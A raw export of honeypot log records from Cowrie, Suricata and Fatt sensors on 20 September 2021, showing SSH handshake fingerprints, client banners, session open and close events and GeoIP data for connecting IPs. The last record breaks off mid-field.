25123	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:42.066163+03	2021-09-20 14:15:09.692503+03	{"_id": "LwblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5acc1808d524", "@version": "1", "timestamp": "2021-09-20T11:09:42.066163Z", "@timestamp": "2021-09-20T11:09:42.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25124	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:42.189508+03	2021-09-20 14:15:09.694499+03	{"_id": "MAblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "aea3bf48b099", "@version": "1", "timestamp": "2021-09-20T11:09:42.189508Z", "@timestamp": "2021-09-20T11:09:42.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25125	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:42.447308+03	2021-09-20 14:15:09.695472+03	{"_id": "MQblAnwBvYTbRNuEuxkn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "490ee088a5c2", "@version": "1", "duration": 2.4511606693267822, "timestamp": "2021-09-20T11:09:42.447308Z", "@timestamp": "2021-09-20T11:09:42.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25126	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:42.171156+03	2021-09-20 14:15:09.697501+03	{"_id": "MwblAnwBvYTbRNuEvRln", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1120631793214447, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33022, "dest_port": 22, "timestamp": "2021-09-20T11:09:42.171156Z", "@timestamp": "2021-09-20T11:09:42.171Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25127	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:09:42.189094+03	2021-09-20 14:15:09.698501+03	{"_id": "NQblAnwBvYTbRNuEvhl2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33022, "dest_port": 22, "timestamp": "2021-09-20T11:09:42.189094", "@timestamp": "2021-09-20T11:09:42.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25128	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:42.903193+03	2021-09-20 14:15:09.701499+03	{"_id": "NgblAnwBvYTbRNuEvxkA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "53def5f3cfdc", "@version": "1", "duration": 2.6185054779052734, "timestamp": "2021-09-20T11:09:42.903193Z", "@timestamp": "2021-09-20T11:09:42.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25129	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:43.291395+03	2021-09-20 14:15:09.7025+03	{"_id": "NwblAnwBvYTbRNuEvxkA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "4bc21f302bb8", "@version": "1", "duration": 4.274616479873657, "timestamp": "2021-09-20T11:09:43.291395Z", "@timestamp": "2021-09-20T11:09:43.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25130	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:43.170455+03	2021-09-20 14:15:09.7035+03	{"_id": "OQblAnwBvYTbRNuEvxkA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "62d0772e9307", "@version": "1", "duration": 3.833289861679077, "timestamp": "2021-09-20T11:09:43.170455Z", "@timestamp": "2021-09-20T11:09:43.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25131	159.75.114.202	109.199.241.180	Suricata	2021-09-20 14:09:44.024723+03	2021-09-20 14:15:09.705471+03	{"_id": "OgblAnwBvYTbRNuEwRlQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.75.114.202", "dest_ip": "192.168.20.116", "flow_id": 1121271743511211, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45918, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.024723Z", "@timestamp": "2021-09-20T11:09:44.024Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25132	159.75.114.202	109.199.241.180	Fatt	2021-09-20 14:09:44.024823+03	2021-09-20 14:15:09.706497+03	{"_id": "PgblAnwBvYTbRNuEwhlf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.75.114.202", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45918, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.024823", "@timestamp": "2021-09-20T11:09:44.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25133	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:09:43.739135+03	2021-09-20 14:15:09.708509+03	{"_id": "RgblAnwBvYTbRNuEwhn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.75.114.202:45918 (192.168.176.2:22) [session: b3e3f3dd5cd8]", "session": "b3e3f3dd5cd8", "@version": "1", "protocol": "ssh", "src_port": 45918, "dest_port": 22, "timestamp": "2021-09-20T11:09:43.739135Z", "@timestamp": "2021-09-20T11:09:43.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25134	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:09:44.025422+03	2021-09-20 14:15:09.70947+03	{"_id": "RQblAnwBvYTbRNuEwhn1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b3e3f3dd5cd8", "@version": "1", "timestamp": "2021-09-20T11:09:44.025422Z", "@timestamp": "2021-09-20T11:09:44.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 